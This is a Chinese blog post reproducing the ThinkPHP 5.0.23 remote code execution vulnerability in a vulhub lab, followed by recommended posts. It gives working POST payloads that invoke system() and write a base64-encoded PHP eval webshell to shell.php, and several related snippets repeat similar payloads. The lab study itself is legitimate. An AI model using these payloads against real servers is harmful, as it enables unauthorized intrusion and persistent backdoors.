ThinkPHP5 5.0.23-rce远程代码执行漏洞复现

于 2024-09-08 22:05:37 发布
阅读量151 收藏 2
点赞数 3
文章标签： 安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_45079558/article/details/142034096
版权
漏洞描述

ThinkPHP是一款运用极广的PHP开发框架。其版本5中，由于框架对控制器名没有进行足够的检测，会导致在没有开启强制路由的情况下可执行任意方法，从而导致远程命令执行漏洞。 

环境搭建

启动环境

切换目录到vulhub/thinkphp/5.0.23-rce下

启动容器

docker-compose up -d

查看端口

docker ps

端口为:8080,访问网站，搭建成功

漏洞复现 

判断是否存在漏洞：访问/index.php?s=captcha页面，会出现如下报错

使用HackBar 插件发送 POST 请求

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=dir

通过echo命令写入 Webshell 文件,首先将一句话木马进行Base64 编码

发送POST请求

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo -n PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4= | base64 -d > shell.php

访问shell.php，使用蚁剑连接

亚历山大——纯真丁一郎
关注
  • 3
    点赞
  • 踩
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
[ vulhub漏洞复现篇 ] ThinkPHP 5.0.23-Rce
qq_51577576的博客
10-02 2179
[ vulhub漏洞复现篇 ] ThinkPHP 5.0.23-Rce 漏洞复现 ThinkPHP是一款运用极广的PHP开发框架。其5.0.23以前的版本中，获取method的方法中没有正确处理方法名，导致攻击者可以调用Request类任意方法并构造利用链，从而导致远程代码执行漏洞。
thinkphp/5.0.23-rce漏洞复现
qq_46804551的博客
04-22 939
环境搭建 访问your-ip:8080 环境搭建成功 漏洞复现 thinkphp 5.0.23（完整版）debug模式 32、(post)public/index.php (data)_method=__construct&filter[]=system&server[REQUEST_METHOD]=touch%20/tmp/xxx thinkphp 5.0.23(完整版) 33、（post）public/index.php?s=captcha (data) _method=__co
ThinkPHP5--rce远程代码执行
m0_74402888的博客
04-30 711
在ThinkPHP5版本中，由于没有正确处理控制器名，导致在网站没有开启强制路由的情况下（即默认情况下）可以执行任意方法，从而导致远程命令执行漏洞。
漏洞复现-thinkphp2-RCE+5.0.23-RCE+5-RCE远程代码执行漏洞
qq_59350385的博客
03-24 648
目录 一、2-RCE 漏洞详情 1.构造poc?s=/a/b/c/${phpinfo()} 2. 使用蚁剑连接地址为: 二、5-RCE 漏洞原因： 1，访问 三、5.0.23-RCE 漏洞原因 1.利用system函数远程命令执行，利用bp抓包，修改请求方式，使用poc进行攻击： 一、2-RCE 漏洞详情 导致用户的输入参数被插入双引号中执行，造成任意代码执行漏洞 preg_replace(‘正则规则’,‘替换字符’,‘目标字符’) 如果目标字符存在符合正则规.
ThinkPHP--5.0.23-rce远程代码执行
m0_74402888的博客
05-03 641
实现框架的核心类Requests的method方法实现表单请求类伪装，默认为$_POST[‘_method’]变量，却没有对_method属性进行严格校验，可以通过变量覆盖Requests类的属性，在结合框架特性实现对任意函数的调用实现任意代码执行。攻击者可向缓存文件内写入PHP代码，导致远程代码执行。
【thinkphp漏洞复现】2-RCE+5.0.23-RCE+5-RCE远程代码执行漏洞+in-sqlinjectionSQL注入漏洞
serendipity1130的博客
09-01 1558
参考文章：https://blog.csdn.net/weixin_43071873/article/details/110084577 一、2-RCE 漏洞详情： ThinkPHP是一个免费开源的一个PHP开发框架。ThinkPHP2.x版本中，使用preg_replace的/e模式匹配路由： 导致用户的输入参数被插入双引号中执行，造成任意代码执行漏洞。 preg_replace(‘正则规则’,‘替换字符’,‘目标字符’) 如果目标字符存在符合正则规则的字符，那么就替换为替换字符，如果此时
ThinkPHP5 5.0.23远程代码执行漏洞复现
weixin_51641247的博客
03-16 529
漏洞介绍ThinkPHP5.0.23版本的漏洞：获取method的方法中没有正确处理方法名，导致攻击者可以调用Request类任意方法并构造利用链，从而导致远程代码执行漏洞。
Python武器库开发-武器库篇之ThinkPHP 5.0.23-RCE 漏洞复现（六十四）
把自己活成一道光，因为你不知道，谁会借着你的光，走出了黑暗。请保持心中的善良，因为你不知道，谁会借着你的善良，走出了绝望。请保持你心中的信仰，因为你不知道，谁会借着你的信仰，走出了迷茫。请相信自己的力量，因为你不知道，谁会因为相信你，开始相信了自己....
06-23 1223
这里我们使用Kali虚拟机安装docker并搭建vulhub靶场来进行ThinkPHP漏洞环境的安装，我们进入 ThinkPHP漏洞环境，可以 cd ThinkPHP，然后通过 ls 查看可以搭建的靶场，目前 vulhub关于 ThinkPHP漏洞。可以搭建的靶场有五个。然后我们在浏览器输入就可以访问靶场环境。
[ThinkPHP]5.0.23-Rce 漏洞复现
satasun的博客
12-07 3944
[ThinkPHP]5.0.23-Rce 环境搭建 github传送门 BUU传送门 POC 老懒狗选择直接buu，链接 http://node3.buuoj.cn:27512/ 直接用poc打一下： POST /index.php?s=captcha HTTP/1.1 Host: node3.buuoj.cn:27512 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (com
ThinkPHP 5.0.0_5.0.23 RCE 漏洞分析1
08-03
然而，在 ThinkPHP 5.0.0 到 5.0.23 版本中存在一个 Remote Code Execution（RCE）漏洞，该漏洞允许攻击者在服务器上执行任意代码。 该漏洞是由于 ThinkPHP 的路由机制存在缺陷，攻击者可以通过构造特殊的 URL 来...
记录一次vulhub:ThinkPHP5 5.0.23远程代码执行漏洞复现
sszsNo1的博客
06-26 313
复现vulhub：ThinkPHP5 5.0.23远程代码执行漏洞
九盾叉车U型区域警示灯，高效照明和安全警示
jiuxindianzi的博客
09-05 303
九盾叉车U型区域警示灯，LED光源，U型光线设计，覆盖广，亮度高，适应多车型，防护等级高，使用寿命长，有效防止叉车碰撞事故，提升作业安全性。
【看雪-注册安全分析报告】
09-05 1385
看雪学苑（www.kanxue.com）是一个专注于PC、移动、智能设备安全研究及逆向工程的安全综合服务网站！创建于2000年，历经20多年的发展，看雪网站形成了大量有价值的技术资料，经过看雪团队的共同努力，先后出版过数本技术专著，深受出版社和广大读者好评，社会影响深远，在行业中树立了令人尊敬的专业形象。平台为会员提供安全知识的在线课程教学，同时为企业提供智能设备安全相关产品和服务。
【论文速读】| SEAS：大语言模型的自进化对抗性安全优化
最新发布
m0_73736695的博客
09-05 942
在初始化阶段，红队模型和目标模型分别使用不同的数据集进行微调，以增强红队模型生成对抗性提示的能力和目标模型的指令遵循能力。此外，实验还发现，SEAS框架能够在保持模型通用能力的同时，显著增强其抵御攻击的能力。传统方法通常无法有效揭示模型的潜在漏洞，因此，SEAS框架旨在通过自我进化的方式，迭代提升红队模型和目标模型的能力，从而在无需人工干预的情况下增强LLMs的安全性能。SEAS框架的核心优势在于减少了对人工测试的依赖，提供了一种自动化的、安全性持续提升的解决方案，为LLMs的安全部署提供了强有力的支持。
高压喷雾车的功能与应用_鼎跃安全
ShenZhenDingYue的博客
09-05 417
在灭火行动中，高压喷雾车的高效作业能成功阻止了火势蔓延，还能保护救援人们群众的财产安全，极大缩短了灭火时间，减少了火灾损失。高压喷雾车不仅在森林灭火中发挥不可替代的作用，其还能在山地、复杂地形和火势迅速蔓延的情况下，保护生命财产安全。在一次森林火灾中，位于山区的一个小型度假村附近突然起火，由于山风强劲，火势迅速蔓延，消防部门立即调派多辆高压喷雾车赶往现场。由于高压喷雾车产生的细水雾可以迅速蒸发吸热，有效降低火场温度，同时水雾还能将空气中的烟雾和有害气体迅速沉降，保护了周围的生态环境和救援人员的安全。
低代码平台中的统一认证与单点登录（SSO）：实现简化与安全的用户管理
CC_longhua的博客
09-04 1346
低代码平台是一种允许用户通过图形化界面而非编写大量代码来构建应用程序的工具。这种平台的优势在于能够大幅度缩短开发周期、降低开发成本，并使得非技术人员也能参与到应用开发中。常见的低代码平台有OutSystems、Mendix、Appian等。统一认证是指通过一个中央系统进行用户身份验证的过程。用户只需在中央认证系统中进行一次身份验证，即可访问多个应用程序或服务。这种方式不仅提升了用户体验，还简化了后台的用户管理。对于有特殊需求的企业，低代码平台通常允许用户通过自定义代码来实现更复杂的认证逻辑。
将AI与情境定位结合以确保品牌安全
微信，抖音等国内主要流量平台打通，企业可以无缝把现有的业务场景接入AI能力
09-04 1364
互动广告局 (IAB) 将品牌安全描述为确保你的广告不会出现在不适当、有害或有争议的内容旁边。这些内容可能会损害品牌形象，并可能削弱目标市场的信任度。品牌适配性更进一步。它不仅确保广告避开有害内容，还确保广告与品牌的身份和价值观一致。此举在于寻找广告的“合适”位置，而不仅仅是“安全”的位置。例如，确保奢侈品牌仅出现在高端生活方式内容旁边。
思科交换机端口安全配置1
2302_76730689的博客
09-02 1175
2配置交换机B的主机名称，创建vlan 10和vlan 20，将f0/1、2划入vlan 10，f0/3、4划入vlan 20，将f0/24配置为Trunk。#3配置交换机A的主机名称，创建vlan 10和vlan 20，并vlan 10和vlan 20 的SVI接口配置IP地址，并启用交换机的路由功能。#4在Switch-B上针对不同vlan 的主机配置端口安全。
thinkphp5.0.23rce漏洞复现
09-22
ThinkPHP 5.0.23版本之前存在一个远程代码执行（RCE）的漏洞。漏洞的形成原因是在获取method的方法中未正确处理方法名，导致攻击者可以调用Request类的任意方法并构造利用链，从而导致远程代码执行漏洞。具体的漏洞利用过程如下： 1. 访问靶机地址和端口号，进入首页。 2. 使用Burp抓包工具修改传参方式为POST，传入参数为"_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=pwd"，其中pwd是系统执行命令的参数。 3. 接着进行漏洞的复现过程，首先在Kali docker容器中启动此漏洞环境。 4. 使用浏览器访问Kali的IP地址接上8080端口。 5. 再次使用Burp抓包工具，修改传参方式为POST，URL后接入/index.php?s=captch，传入参数为"_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=pwd"。 6. 点击Burp中的Go按钮，尝试写入phpinfo。 7. 成功后，写入一句话木马，密码为aaa。 8. 进一步操作，可以上蚁剑。 漏洞复现成功后，您可以参考这篇文章了解更多细节：[https://www.cnblogs.com/zenb/p/14537240.html](https://www.cnblogs.com/zenb/p/14537240.html)。如果您对此漏洞有更多疑问，欢迎提出。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值